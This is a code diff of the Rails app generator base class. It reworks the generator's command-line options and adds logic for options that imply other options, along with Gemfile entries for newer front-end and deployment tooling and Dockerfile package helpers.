       def self.add_shared_options_for(name)
-        class_option :template,           type: :string, aliases: "-m",
-                                          desc: "Path to some #{name} template (can be a filesystem path or URL)"
+        class_option :name,                type: :string, aliases: "-n",
+                                           desc: "Name of the app"
 
-        class_option :database,           type: :string, aliases: "-d", default: "sqlite3",
-                                          desc: "Preconfigure for selected database (options: #{DATABASES.join('/')})"
+        class_option :template,            type: :string, aliases: "-m",
+                                           desc: "Path to some #{name} template (can be a filesystem path or URL)"
 
-        class_option :javascript,         type: :string, aliases: "-j",
-                                          desc: "Preconfigure for selected JavaScript library"
+        class_option :database,            type: :string, aliases: "-d", default: "sqlite3",
+                                           enum: Database::DATABASES,
+                                           desc: "Preconfigure for selected database"
 
-        class_option :webpack,            type: :string, default: nil,
-                                          desc: "Preconfigure for app-like JavaScript with Webpack"
+        class_option :skip_git,            type: :boolean, aliases: "-G", default: nil,
+                                           desc: "Skip git init, .gitignore and .gitattributes"
 
-        class_option :skip_yarn,          type: :boolean, default: false,
-                                          desc: "Don't use Yarn for managing JavaScript dependencies"
+        class_option :skip_docker,         type: :boolean, default: nil,
+                                           desc: "Skip Dockerfile, .dockerignore and bin/docker-entrypoint"
 
-        class_option :skip_gemfile,       type: :boolean, default: false,
-                                          desc: "Don't create a Gemfile"
+        class_option :skip_keeps,          type: :boolean, default: nil,
+                                           desc: "Skip source control .keep files"
 
-        class_option :skip_git,           type: :boolean, aliases: "-G", default: false,
-                                          desc: "Skip .gitignore file"
+        class_option :skip_action_mailer,  type: :boolean, aliases: "-M",
+                                           default: nil,
+                                           desc: "Skip Action Mailer files"
 
-        class_option :skip_keeps,         type: :boolean, default: false,
-                                          desc: "Skip source control .keep files"
+        class_option :skip_action_mailbox, type: :boolean, default: nil,
+                                           desc: "Skip Action Mailbox gem"
 
-        class_option :skip_action_mailer, type: :boolean, aliases: "-M",
-                                          default: false,
-                                          desc: "Skip Action Mailer files"
+        class_option :skip_action_text,    type: :boolean, default: nil,
+                                           desc: "Skip Action Text gem"
 
-        class_option :skip_active_record, type: :boolean, aliases: "-O", default: false,
-                                          desc: "Skip Active Record files"
+        class_option :skip_active_record,  type: :boolean, aliases: "-O", default: nil,
+                                           desc: "Skip Active Record files"
 
-        class_option :skip_puma,          type: :boolean, aliases: "-P", default: false,
-                                          desc: "Skip Puma related files"
+        class_option :skip_active_job,     type: :boolean, default: nil,
+                                           desc: "Skip Active Job"
 
-        class_option :skip_action_cable,  type: :boolean, aliases: "-C", default: false,
-                                          desc: "Skip Action Cable files"
+        class_option :skip_active_storage, type: :boolean, default: nil,
+                                           desc: "Skip Active Storage files"
 
-        class_option :skip_sprockets,     type: :boolean, aliases: "-S", default: false,
-                                          desc: "Skip Sprockets files"
+        class_option :skip_action_cable,   type: :boolean, aliases: "-C", default: nil,
+                                           desc: "Skip Action Cable files"
 
-        class_option :skip_spring,        type: :boolean, default: false,
-                                          desc: "Don't install Spring application preloader"
+        class_option :skip_asset_pipeline, type: :boolean, aliases: "-A", default: nil,
+                                           desc: "Skip the asset pipeline setup"
 
-        class_option :skip_listen,        type: :boolean, default: false,
-                                          desc: "Don't generate configuration that depends on the listen gem"
+        class_option :skip_javascript,     type: :boolean, aliases: ["-J", "--skip-js"], default: (true if name == "plugin"),
+                                           desc: "Skip JavaScript files"
 
-        class_option :skip_coffee,        type: :boolean, default: false,
-                                          desc: "Don't use CoffeeScript"
+        class_option :skip_hotwire,        type: :boolean, default: nil,
+                                           desc: "Skip Hotwire integration"
 
-        class_option :skip_javascript,    type: :boolean, aliases: "-J", default: false,
-                                          desc: "Skip JavaScript files"
+        class_option :skip_jbuilder,       type: :boolean, default: nil,
+                                           desc: "Skip jbuilder gem"
 
-        class_option :skip_turbolinks,    type: :boolean, default: false,
-                                          desc: "Skip turbolinks gem"
+        class_option :skip_test,           type: :boolean, aliases: "-T", default: nil,
+                                           desc: "Skip test files"
 
-        class_option :skip_test,          type: :boolean, aliases: "-T", default: false,
-                                          desc: "Skip test files"
+        class_option :skip_system_test,    type: :boolean, default: nil,
+                                           desc: "Skip system test files"
 
-        class_option :dev,                type: :boolean, default: false,
-                                          desc: "Setup the #{name} with Gemfile pointing to your Rails checkout"
+        class_option :skip_bootsnap,       type: :boolean, default: nil,
+                                           desc: "Skip bootsnap gem"
 
-        class_option :edge,               type: :boolean, default: false,
-                                          desc: "Setup the #{name} with Gemfile pointing to Rails repository"
+        class_option :skip_dev_gems,       type: :boolean, default: nil,
+                                           desc: "Skip development gems (e.g., web-console)"
 
-        class_option :rc,                 type: :string, default: nil,
-                                          desc: "Path to file containing extra configuration options for rails command"
+        class_option :skip_thruster,       type: :boolean, default: nil,
+                                           desc: "Skip Thruster setup"
 
-        class_option :no_rc,              type: :boolean, default: false,
-                                          desc: "Skip loading of extra configuration options from .railsrc file"
+        class_option :skip_rubocop,        type: :boolean, default: nil,
+                                           desc: "Skip RuboCop setup"
 
-        class_option :help,               type: :boolean, aliases: "-h", group: :rails,
-                                          desc: "Show this help message and quit"
-      end
+        class_option :skip_brakeman,       type: :boolean, default: nil,
+                                           desc: "Skip brakeman setup"
 
-      def initialize(*args)
-        @gem_filter    = lambda { |gem| true }
-        @extra_entries = []
-        super
-        convert_database_option_for_jruby
-      end
+        class_option :skip_bundler_audit,  type: :boolean, default: nil,
+                                           desc: "Skip bundler-audit setup"
 
-    private
+        class_option :skip_ci,             type: :boolean, default: nil,
+                                           desc: "Skip GitHub CI files"
 
-      def gemfile_entry(name, *args) # :doc:
-        options = args.extract_options!
-        version = args.first
-        github = options[:github]
-        path   = options[:path]
+        class_option :skip_kamal,          type: :boolean, default: nil,
+                                           desc: "Skip Kamal setup"
 
-        if github
-          @extra_entries << GemfileEntry.github(name, github)
-        elsif path
-          @extra_entries << GemfileEntry.path(name, path)
-        else
-          @extra_entries << GemfileEntry.version(name, version)
-        end
-        self
+        class_option :skip_solid,          type: :boolean, default: nil,
+                                           desc: "Skip Solid Cache, Queue, and Cable setup"
+
+        class_option :dev,                 type: :boolean, default: nil,
+                                           desc: "Set up the #{name} with Gemfile pointing to your Rails checkout"
+
+        class_option :devcontainer,        type: :boolean, default: nil,
+                                           desc: "Generate devcontainer files"
+
+        class_option :edge,                type: :boolean, default: nil,
+                                           desc: "Set up the #{name} with a Gemfile pointing to the #{edge_branch} branch on the Rails repository"
+
+        class_option :main,                type: :boolean, default: nil, aliases: "--master",
+                                           desc: "Set up the #{name} with Gemfile pointing to Rails repository main branch"
+
+        class_option :rc,                  type: :string, default: nil,
+                                           desc: "Path to file containing extra configuration options for rails command"
+
+        class_option :no_rc,               type: :boolean, default: nil,
+                                           desc: "Skip loading of extra configuration options from .railsrc file"
+
+        class_option :help,                type: :boolean, aliases: "-h", group: :rails,
+                                           desc: "Show this help message and quit"
       end
 
-      def gemfile_entries # :doc:
-        [rails_gemfile_entry,
-         database_gemfile_entry,
-         webserver_gemfile_entry,
-         assets_gemfile_entry,
-         webpacker_gemfile_entry,
-         javascript_gemfile_entry,
-         jbuilder_gemfile_entry,
-         psych_gemfile_entry,
-         cable_gemfile_entry,
-         @extra_entries].flatten.find_all(&@gem_filter)
+      def self.edge_branch # :nodoc:
+        Rails.gem_version.prerelease? ? "main" : [*Rails.gem_version.segments.first(2), "stable"].join("-")
       end
 
-      def add_gem_entry_filter # :doc:
-        @gem_filter = lambda { |next_filter, entry|
-          yield(entry) && next_filter.call(entry)
-        }.curry[@gem_filter]
+      def initialize(positional_argv, option_argv, *)
+        @argv = [*positional_argv, *option_argv]
+        @gem_filter = lambda { |gem| true }
+        super
+      end
+
+    private
+      def gemfile_entries # :doc:
+        [
+          rails_gemfile_entry,
+          asset_pipeline_gemfile_entry,
+          database_gemfile_entry,
+          web_server_gemfile_entry,
+          javascript_gemfile_entry,
+          hotwire_gemfile_entry,
+          css_gemfile_entry,
+          jbuilder_gemfile_entry,
+          cable_gemfile_entry,
+        ].flatten.compact.select(&@gem_filter)
       end
 
       def builder # :doc:
@@ -151,7 +174,90 @@ def builder # :doc:
       end
 
       def build(meth, *args) # :doc:
-        builder.send(meth, *args) if builder.respond_to?(meth)
+        builder.public_send(meth, *args) if builder.respond_to?(meth)
+      end
+
+      def deduce_implied_options(options, option_reasons, meta_options)
+        active = options.transform_values { |value| [] if value }.compact
+        irrevocable = (active.keys - meta_options).to_set
+
+        deduction_order = TSort.tsort(
+          ->(&block) { option_reasons.each_key(&block) },
+          ->(key, &block) { option_reasons[key]&.each(&block) }
+        )
+
+        deduction_order.each do |name|
+          active_reasons = option_reasons[name].to_a.select(&active)
+          active[name] ||= active_reasons if active_reasons.any?
+          irrevocable << name if active_reasons.any?(irrevocable)
+        end
+
+        revoked = options.select { |name, value| value == false }.keys.to_set - irrevocable
+        deduction_order.reverse_each do |name|
+          revoked += option_reasons[name].to_a if revoked.include?(name)
+        end
+        revoked -= meta_options
+
+        active.filter_map do |name, reasons|
+          unless revoked.include?(name) || reasons.all?(revoked)
+            [name, reasons - revoked.to_a]
+          end
+        end.to_h
+      end
+
+      OPTION_IMPLICATIONS = { # :nodoc:
+        skip_active_job:     [:skip_action_mailer, :skip_active_storage],
+        skip_active_record:  [:skip_active_storage, :skip_solid],
+        skip_active_storage: [:skip_action_mailbox, :skip_action_text],
+        skip_javascript:     [:skip_hotwire],
+      }
+
+      # ==== Options
+      #
+      # [+:meta_options+]
+      #   A list of generator options which only serve to trigger other options.
+      #   These options should have no other effects, and will be treated
+      #   transparently when revoking other options.
+      #
+      #   For example: --minimal implies both --skip-active-job and
+      #   --skip-active-storage. Also, --skip-active-job by itself implies
+      #   --skip-active-storage. If --skip-active-job is explicitly
+      #   specified, --no-skip-active-storage should raise an error. But, if
+      #   only --minimal is specified, --no-skip-active-storage should "undo"
+      #   the implied --skip-active-job. This can be accomplished by passing
+      #   <tt>meta_options: [:minimal]</tt>.
+      #
+      #   In contrast, --api is not a meta option because it does other things
+      #   besides implying options such as --skip-asset-pipeline. (And so --api
+      #   with --no-skip-asset-pipeline should raise an error.)
+      def imply_options(option_implications = OPTION_IMPLICATIONS, meta_options: [])
+        option_reasons = {}
+        option_implications.each do |reason, implications|
+          implications.each do |implication|
+            (option_reasons[implication.to_s] ||= []) << reason.to_s
+          end
+        end
+
+        @implied_options = deduce_implied_options(options, option_reasons, meta_options.map(&:to_s))
+        @implied_options_conflicts = @implied_options.keys.select { |name| options[name] == false }
+        self.options = options.merge(@implied_options.transform_values { true }).freeze
+      end
+
+      def report_implied_options
+        return if @implied_options.blank?
+
+        say "Based on the specified options, the following options will also be activated:"
+        say ""
+        @implied_options.each do |name, reasons|
+          due_to = reasons.map { |reason| "--#{reason.dasherize}" }.join(", ")
+          say "  --#{name.dasherize} [due to #{due_to}]"
+          if @implied_options_conflicts.include?(name)
+            say "    ERROR: Conflicts with --no-#{name.dasherize}", :red
+          end
+        end
+        say ""
+
+        raise "Cannot proceed due to conflicting options" if @implied_options_conflicts.any?
       end
 
       def create_root # :doc:
@@ -169,36 +275,80 @@ def apply_rails_template # :doc:
 
       def set_default_accessors! # :doc:
         self.destination_root = File.expand_path(app_path, destination_root)
-        self.rails_template = \
-          case options[:template]
-          when /^https?:\/\//
-            options[:template]
-          when String
-            File.expand_path(options[:template], Dir.pwd)
-          else
-            options[:template]
-          end
+
+        if options[:template].is_a?(String) && !options[:template].match?(/^https?:\/\//)
+          interpolated = options[:template].gsub(/\$(\w+)|\$\{\g<1>\}|%\g<1>%/) { |m| ENV[$1] || m }
+          self.rails_template = File.expand_path(interpolated)
+        else
+          self.rails_template = options[:template]
+        end
       end
 
       def database_gemfile_entry # :doc:
-        return [] if options[:skip_active_record]
-        gem_name, gem_version = gem_for_database
+        return if options[:skip_active_record]
+
+        gem_name, gem_version = database.gem
         GemfileEntry.version gem_name, gem_version,
-                            "Use #{options[:database]} as the database for Active Record"
+          "Use #{options[:database]} as the database for Active Record"
       end
 
-      def webserver_gemfile_entry # :doc:
-        return [] if options[:skip_puma]
-        comment = "Use Puma as the app server"
-        GemfileEntry.new("puma", "~> 3.0", comment)
+      def web_server_gemfile_entry # :doc:
+        GemfileEntry.new "puma", ">= 7.1", "Use the Puma web server [https://github.com/puma/puma]"
+      end
+
+      def asset_pipeline_gemfile_entry
+        unless skip_asset_pipeline?
+          GemfileEntry.floats "propshaft", "The modern asset pipeline for Rails [https://github.com/rails/propshaft]"
+        end
+      end
+
+      def required_railties
+        @required_railties ||= {
+          "active_model/railtie"      => true,
+          "active_job/railtie"        => !options[:skip_active_job],
+          "active_record/railtie"     => !options[:skip_active_record],
+          "active_storage/engine"     => !options[:skip_active_storage],
+          "action_controller/railtie" => true,
+          "action_mailer/railtie"     => !options[:skip_action_mailer],
+          "action_mailbox/engine"     => !options[:skip_action_mailbox],
+          "action_text/engine"        => !options[:skip_action_text],
+          "action_view/railtie"       => true,
+          "action_cable/engine"       => !options[:skip_action_cable],
+          "rails/test_unit/railtie"   => !options[:skip_test],
+        }
       end
 
       def include_all_railties? # :doc:
-        options.values_at(:skip_active_record, :skip_action_mailer, :skip_test, :skip_sprockets, :skip_action_cable).none?
+        required_railties.values.all?
+      end
+
+      def rails_require_statement
+        if include_all_railties?
+          %(require "rails/all")
+        else
+          require_statements = required_railties.map do |railtie, required|
+            %(#{"# " if !required}require "#{railtie}")
+          end
+
+          <<~RUBY.strip
+            require "rails"
+            # Pick the frameworks you want:
+            #{require_statements.join("\n")}
+          RUBY
+        end
       end
 
       def comment_if(value) # :doc:
-        options[value] ? "# " : ""
+        question = "#{value}?"
+
+        comment =
+          if respond_to?(question, true)
+            send(question)
+          else
+            options[value]
+          end
+
+        comment ? "# " : ""
       end
 
       def keeps? # :doc:
@@ -206,7 +356,75 @@ def keeps? # :doc:
       end
 
       def sqlite3? # :doc:
-        !options[:skip_active_record] && options[:database] == "sqlite3"
+        !skip_active_record? && options[:database] == "sqlite3"
+      end
+
+      def skip_active_record? # :doc:
+        options[:skip_active_record]
+      end
+
+      def skip_active_storage? # :doc:
+        options[:skip_active_storage]
+      end
+
+      def skip_storage? # :doc:
+        skip_active_storage? && !sqlite3?
+      end
+
+      def skip_action_cable? # :doc:
+        options[:skip_action_cable]
+      end
+
+      def skip_action_mailer? # :doc:
+        options[:skip_action_mailer]
+      end
+
+      def skip_action_mailbox? # :doc:
+        options[:skip_action_mailbox]
+      end
+
+      def skip_action_text? # :doc:
+        options[:skip_action_text]
+      end
+
+      def skip_asset_pipeline? # :doc:
+        options[:skip_asset_pipeline]
+      end
+
+      def skip_thruster?
+        options[:skip_thruster]
+      end
+
+      def skip_rubocop?
+        options[:skip_rubocop]
+      end
+
+      def skip_brakeman?
+        options[:skip_brakeman]
+      end
+
+      def skip_bundler_audit?
+        options[:skip_bundler_audit]
+      end
+
+      def skip_ci?
+        options[:skip_ci]
+      end
+
+      def skip_devcontainer?
+        !options[:devcontainer]
+      end
+
+      def devcontainer?
+        options[:devcontainer]
+      end
+
+      def skip_kamal?
+        options[:skip_kamal]
+      end
+
+      def skip_solid?
+        options[:skip_solid]
       end
 
       class GemfileEntry < Struct.new(:name, :version, :comment, :options, :commented_out)
@@ -226,216 +444,346 @@ def self.version(name, version, comment = nil)
           new(name, version, comment)
         end
 
+        def self.floats(name, comment = nil)
+          new(name, nil, comment)
+        end
+
         def self.path(name, path, comment = nil)
           new(name, nil, comment, path: path)
         end
 
-        def version
-          version = super
-
-          if version.is_a?(Array)
-            version.join("', '")
-          else
-            version
-          end
+        def to_s
+          [
+            (comment.gsub(/^/, "# ").chomp + "\n" if comment),
+            ("# " if commented_out),
+            "gem \"#{name}\"",
+            *Array(version).map { |constraint| ", \"#{constraint}\"" },
+            *options.map { |key, value| ", #{key}: #{value.inspect}" },
+          ].compact.join
         end
       end
 
+      def rails_prerelease?
+        options.dev? || options.edge? || options.main?
+      end
+
       def rails_gemfile_entry
-        dev_edge_common = [
-          GemfileEntry.github("arel", "rails/arel")
-        ]
         if options.dev?
-          [
-            GemfileEntry.path("rails", Rails::Generators::RAILS_DEV_PATH)
-          ] + dev_edge_common
+          GemfileEntry.path("rails", Rails::Generators::RAILS_DEV_PATH, "Use local checkout of Rails")
         elsif options.edge?
-          [
-            GemfileEntry.github("rails", "rails/rails")
-          ] + dev_edge_common
+          GemfileEntry.github("rails", "rails/rails", edge_branch, "Use specific branch of Rails")
+        elsif options.main?
+          GemfileEntry.github("rails", "rails/rails", "main", "Use main development branch of Rails")
         else
-          [GemfileEntry.version("rails",
-                            rails_version_specifier,
-                            "Bundle edge Rails instead: gem 'rails', github: 'rails/rails'")]
+          GemfileEntry.version("rails", rails_version_specifier,
+            %(Bundle edge Rails instead: gem "rails", github: "rails/rails", branch: "main"))
         end
       end
 
       def rails_version_specifier(gem_version = Rails.gem_version)
-        if gem_version.prerelease?
-          next_series = gem_version
-          next_series = next_series.bump while next_series.segments.size > 2
-
-          [">= #{gem_version}", "< #{next_series}"]
-        elsif gem_version.segments.size == 3
+        if gem_version.segments.size == 3 || gem_version.release.segments.size == 3
+          # ~> 1.2.3
+          # ~> 1.2.3.pre4
           "~> #{gem_version}"
         else
+          # ~> 1.2.3, >= 1.2.3.4
+          # ~> 1.2.3, >= 1.2.3.4.pre5
           patch = gem_version.segments[0, 3].join(".")
           ["~> #{patch}", ">= #{gem_version}"]
         end
       end
 
-      def gem_for_database
-        # %w( mysql postgresql sqlite3 oracle frontbase ibm_db sqlserver jdbcmysql jdbcsqlite3 jdbcpostgresql )
-        case options[:database]
-        when "mysql"          then ["mysql2", [">= 0.3.18", "< 0.5"]]
-        when "postgresql"     then ["pg", ["~> 0.18"]]
-        when "oracle"         then ["ruby-oci8", nil]
-        when "frontbase"      then ["ruby-frontbase", nil]
-        when "sqlserver"      then ["activerecord-sqlserver-adapter", nil]
-        when "jdbcmysql"      then ["activerecord-jdbcmysql-adapter", nil]
-        when "jdbcsqlite3"    then ["activerecord-jdbcsqlite3-adapter", nil]
-        when "jdbcpostgresql" then ["activerecord-jdbcpostgresql-adapter", nil]
-        when "jdbc"           then ["activerecord-jdbc-adapter", nil]
-        else [options[:database], nil]
-        end
+      def jbuilder_gemfile_entry
+        return if options[:skip_jbuilder]
+        GemfileEntry.new "jbuilder", nil, "Build JSON APIs with ease [https://github.com/rails/jbuilder]", {}, options[:api]
       end
 
-      def convert_database_option_for_jruby
-        if defined?(JRUBY_VERSION)
-          case options[:database]
-          when "postgresql" then options[:database].replace "jdbcpostgresql"
-          when "mysql"      then options[:database].replace "jdbcmysql"
-          when "oracle"     then options[:database].replace "jdbc"
-          when "sqlite3"    then options[:database].replace "jdbcsqlite3"
-          end
+      def javascript_gemfile_entry
+        return if options[:skip_javascript]
+
+        if using_importmap?
+          GemfileEntry.floats "importmap-rails", "Use JavaScript with ESM import maps [https://github.com/rails/importmap-rails]"
+        else
+          GemfileEntry.floats "jsbundling-rails", "Bundle and transpile JavaScript [https://github.com/rails/jsbundling-rails]"
         end
       end
 
-      def assets_gemfile_entry
-        return [] if options[:skip_sprockets]
+      def hotwire_gemfile_entry
+        return if options[:skip_hotwire]
 
-        gems = []
-        gems << GemfileEntry.github("sass-rails", "rails/sass-rails", nil,
-                                     "Use SCSS for stylesheets")
+        turbo_rails_entry =
+          GemfileEntry.floats "turbo-rails", "Hotwire's SPA-like page accelerator [https://turbo.hotwired.dev]"
 
-        if !options[:skip_javascript]
-          gems << GemfileEntry.version("uglifier",
-                                     ">= 1.3.0",
-                                     "Use Uglifier as compressor for JavaScript assets")
-        end
+        stimulus_rails_entry =
+          GemfileEntry.floats "stimulus-rails", "Hotwire's modest JavaScript framework [https://stimulus.hotwired.dev]"
 
-        gems
+        [ turbo_rails_entry, stimulus_rails_entry ]
       end
 
-      def webpacker_gemfile_entry
-        return [] unless options[:webpack]
+      def using_importmap?
+        !options.skip_javascript? && options[:javascript] == "importmap"
+      end
 
-        comment = "Transpile app-like JavaScript. Read more: https://github.com/rails/webpacker"
-        GemfileEntry.github "webpacker", "rails/webpacker", nil, comment
+      def using_js_runtime?
+        !options.skip_javascript? && (!using_importmap? || (options[:css] && !%w[tailwind sass].include?(options[:css])))
       end
 
-      def jbuilder_gemfile_entry
-        comment = "Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder"
-        GemfileEntry.new "jbuilder", "~> 2.5", comment, {}, options[:api]
+      def using_node?
+        using_js_runtime? && !%w[bun].include?(options[:javascript])
       end
 
-      def coffee_gemfile_entry
-        GemfileEntry.version "coffee-rails", "~> 4.2", "Use CoffeeScript for .coffee assets and views"
+      def using_bun?
+        using_js_runtime? && %w[bun].include?(options[:javascript])
       end
 
-      def javascript_gemfile_entry
-        if options[:skip_javascript] || options[:skip_sprockets]
-          []
+      def using_css_bundling?
+        css_gemfile_entry&.name == "cssbundling-rails"
+      end
+
+      def capture_command(command, pattern = nil)
+        output = `#{command}`
+        if pattern
+          output[pattern]
         else
-          gems = [javascript_runtime_gemfile_entry]
-          gems << coffee_gemfile_entry unless options[:skip_coffee]
+          output
+        end
+      rescue SystemCallError
+        nil
+      end
 
-          if options[:javascript]
-            gems << GemfileEntry.version("#{options[:javascript]}-rails", nil,
-              "Use #{options[:javascript]} as the JavaScript library")
+      def node_version
+        if using_node?
+          ENV.fetch("NODE_VERSION") do
+            capture_command("node --version", /\d+\.\d+\.\d+/) || NODE_LTS_VERSION
           end
+        end
+      end
 
-          unless options[:skip_turbolinks]
-            gems << GemfileEntry.version("turbolinks", "~> 5",
-             "Turbolinks makes navigating your web application faster. Read more: https://github.com/turbolinks/turbolinks")
-          end
+      def dockerfile_yarn_version
+        capture_command("yarn --version", /\d+\.\d+\.\d+/) || "latest"
+      end
+
+      def yarn_through_corepack?
+        using_node? and "#{dockerfile_yarn_version}" >= "2"
+      end
+
+      def dockerfile_bun_version
+        capture_command("bun --version", /\d+\.\d+\.\d+/) || BUN_VERSION
+      end
 
-          gems
+      def dockerfile_binfile_fixups
+        # binfiles may have OS specific paths to ruby.  Normalize them.
+        shebangs = Dir["bin/*"].map { |file| IO.read(file).lines.first }.join
+        rubies = shebangs.scan(%r{#!/usr/bin/env (ruby.*)}).flatten.uniq
+
+        binfixups = (rubies - %w(ruby)).map do |ruby|
+          "sed -i 's/#{Regexp.quote(ruby)}$/ruby/' bin/*"
+        end
+
+        # Windows line endings will cause scripts to fail.  If any
+        # or found OR this generation is run on a windows platform
+        # and there are other binfixups required, then convert
+        # line endings.  This avoids adding unnecessary fixups if
+        # none are required, but prepares for the need to do the
+        # fix line endings if other fixups are required.
+        has_cr = Dir["bin/*"].any? { |file| IO.read(file).include? "\r" }
+        if has_cr || (Gem.win_platform? && !binfixups.empty?)
+          binfixups.unshift 'sed -i "s/\r$//g" bin/*'
         end
+
+        # Windows file systems may not have the concept of executable.
+        # In such cases, fix up during the build.
+        unless Dir["bin/*"].all? { |file| File.executable? file }
+          binfixups.unshift "chmod +x bin/*"
+        end
+
+        binfixups
       end
 
-      def javascript_runtime_gemfile_entry
-        comment = "See https://github.com/rails/execjs#readme for more supported runtimes"
-        if defined?(JRUBY_VERSION)
-          GemfileEntry.version "therubyrhino", nil, comment
-        else
-          GemfileEntry.new "therubyracer", nil, comment, { platforms: :ruby }, true
+      def dockerfile_base_packages
+        # Add curl to work with the default health check strategy in Kamal
+        packages = ["curl"]
+
+        # ActiveRecord databases
+        packages << database.base_package unless skip_active_record?
+
+        # ActiveStorage preview support
+        packages << "libvips" unless skip_active_storage?
+
+        # jemalloc for memory optimization
+        packages << "libjemalloc2"
+
+        packages.compact.sort
+      end
+
+      def dockerfile_build_packages
+        # start with the essentials
+        packages = %w(build-essential git pkg-config libyaml-dev)
+
+        # add database support
+        packages << database.build_package unless skip_active_record?
+
+        packages << "unzip" if using_bun?
+
+        # node support, including support for building native modules
+        if using_node?
+          packages << "node-gyp" # pkg-config already listed above
+
+          packages << "python-is-python3"
         end
+
+        packages.compact.sort
+      end
+
+      def ci_packages
+        dockerfile_build_packages - [
+          # GitHub Actions doesn't have build-essential,
+          # but it's a meta-packages and all its dependencies are already installed.
+          "build-essential",
+          "git",
+          "pkg-config",
+          "libyaml-dev",
+          "unzip",
+          "python-is-python3",
+        ]
       end
 
-      def psych_gemfile_entry
-        return [] unless defined?(Rubinius)
+      def css_gemfile_entry
+        return if options[:api]
+        return unless options[:css]
 
-        comment = "Use Psych as the YAML engine, instead of Syck, so serialized " \
-                  "data can be read safely from different rubies (see http://git.io/uuLVag)"
-        GemfileEntry.new("psych", "~> 2.0", comment, platforms: :rbx)
+        if !using_js_runtime? && options[:css] == "tailwind"
+          GemfileEntry.floats "tailwindcss-rails", "Use Tailwind CSS [https://github.com/rails/tailwindcss-rails]"
+        elsif !using_js_runtime? && options[:css] == "sass"
+          GemfileEntry.floats "dartsass-rails", "Use Dart SASS [https://github.com/rails/dartsass-rails]"
+        else
+          GemfileEntry.floats "cssbundling-rails", "Bundle and process CSS [https://github.com/rails/cssbundling-rails]"
+        end
       end
 
       def cable_gemfile_entry
-        return [] if options[:skip_action_cable]
-        comment = "Use Redis adapter to run Action Cable in production"
-        gems = []
-        gems << GemfileEntry.new("redis", "~> 3.0", comment, {}, true)
-        gems
-      end
-
-      def bundle_command(command)
-        say_status :run, "bundle #{command}"
-
-        # We are going to shell out rather than invoking Bundler::CLI.new(command)
-        # because `rails new` loads the Thor gem and on the other hand bundler uses
-        # its own vendored Thor, which could be a different version. Running both
-        # things in the same process is a recipe for a night with paracetamol.
-        #
-        # We unset temporary bundler variables to load proper bundler and Gemfile.
-        #
-        # Thanks to James Tucker for the Gem tricks involved in this call.
-        _bundle_command = Gem.bin_path("bundler", "bundle")
-
-        require "bundler"
-        Bundler.with_clean_env do
-          full_command = %Q["#{Gem.ruby}" "#{_bundle_command}" #{command}]
-          if options[:quiet]
-            system(full_command, out: File::NULL)
-          else
-            system(full_command)
-          end
+        if !options[:skip_action_cable] && options[:skip_solid]
+          comment = "Use Redis adapter to run Action Cable in production"
+          GemfileEntry.new("redis", ">= 4.0.1", comment, {}, true)
         end
       end
 
+      def rails_command(command, command_options = {})
+        command_options[:capture] = true if options[:quiet]
+        super
+      end
+
       def bundle_install?
-        !(options[:skip_gemfile] || options[:skip_bundle] || options[:pretend])
+        !(options[:skip_bundle] || options[:pretend])
       end
 
-      def spring_install?
-        !options[:skip_spring] && !options.dev? && Process.respond_to?(:fork) && !RUBY_PLATFORM.include?("cygwin")
+      def depends_on_system_test?
+        !(options[:skip_system_test] || options[:skip_test] || options[:api])
       end
 
-      def depend_on_listen?
-        !options[:skip_listen] && os_supports_listen_out_of_the_box?
+      def depend_on_bootsnap?
+        !options[:skip_bootsnap] && !options[:dev] && !jruby?
       end
 
-      def os_supports_listen_out_of_the_box?
-        RbConfig::CONFIG["host_os"] =~ /darwin|linux/
+      def target_rails_prerelease(self_command = "new")
+        return unless rails_prerelease? && bundle_install?
+
+        if !File.exist?(File.expand_path("Gemfile", destination_root))
+          create_file("Gemfile", <<~GEMFILE)
+            source "https://rubygems.org"
+            #{rails_gemfile_entry}
+          GEMFILE
+
+          run_bundle
+
+          @argv.delete_at(@argv.index(app_path))
+          @argv.unshift(destination_root)
+          require "shellwords"
+          bundle_command("exec rails #{self_command} #{Shellwords.join(@argv)}")
+          exit
+        else
+          remove_file("Gemfile")
+          remove_file("Gemfile.lock")
+        end
       end
 
       def run_bundle
-        bundle_command("install") if bundle_install?
+        bundle_command("install --quiet", "BUNDLE_IGNORE_MESSAGES" => "1") if bundle_install?
+      end
+
+      def run_javascript
+        return if options[:skip_javascript] || !bundle_install?
+
+        case options[:javascript]
+        when "importmap"                           then rails_command "importmap:install"
+        when "webpack", "bun", "esbuild", "rollup" then rails_command "javascript:install:#{options[:javascript]}"
+        end
+      end
+
+      def run_hotwire
+        return if options[:skip_hotwire] || !bundle_install?
+
+        rails_command "turbo:install stimulus:install"
       end
 
-      def run_webpack
-        if !(webpack = options[:webpack]).nil?
-          rails_command "webpacker:install"
-          rails_command "webpacker:install:#{webpack}" unless webpack == "webpack"
+      def run_css
+        return if !options[:css] || !bundle_install?
+
+        if !using_js_runtime? && options[:css] == "tailwind"
+          rails_command "tailwindcss:install"
+        elsif !using_js_runtime? && options[:css] == "sass"
+          rails_command "dartsass:install"
+        else
+          rails_command "css:install:#{options[:css]}"
         end
       end
 
-      def generate_spring_binstubs
-        if bundle_install? && spring_install?
-          bundle_command("exec spring binstub --all")
+      def run_kamal
+        return if options[:skip_kamal] || !bundle_install?
+
+        bundle_command "binstubs kamal"
+        bundle_command "exec kamal init"
+
+        template "kamal-secrets.tt", ".kamal/secrets", force: true
+        template "config/deploy.yml", force: true
+      end
+
+      def run_solid
+        return if skip_solid? || !bundle_install?
+
+        commands = "solid_cache:install solid_queue:install"
+        commands += " solid_cable:install" unless skip_action_cable?
+
+        rails_command commands
+      end
+
+      def add_bundler_platforms
+        if bundle_install? && !jruby?
+          # The vast majority of Rails apps will be deployed on `x86_64-linux`.
+          bundle_command("lock --add-platform=x86_64-linux")
+
+          # Users that develop on M1 mac may use docker and would need `aarch64-linux` as well.
+          bundle_command("lock --add-platform=aarch64-linux") if RUBY_PLATFORM.start_with?("arm64")
         end
       end
 
+      def jruby?
+        defined?(JRUBY_VERSION)
+      end
+
+      def version_manager_ruby_version
+        return ENV["RBENV_VERSION"] if ENV["RBENV_VERSION"]
+        return ENV["rvm_ruby_string"] if ENV["rvm_ruby_string"]
+
+        version = if RUBY_ENGINE == "ruby"
+          Gem.ruby_version.to_s.sub(/\.([a-zA-Z])/, '-\1')
+        else
+          RUBY_ENGINE_VERSION
+        end
+
+        "#{RUBY_ENGINE}-#{version}"
+      end
+
       def empty_directory_with_keep_file(destination, config = {})
         empty_directory(destination, config)
         keep_file(destination)
@@ -444,6 +792,41 @@ def empty_directory_with_keep_file(destination, config = {})
       def keep_file(destination)
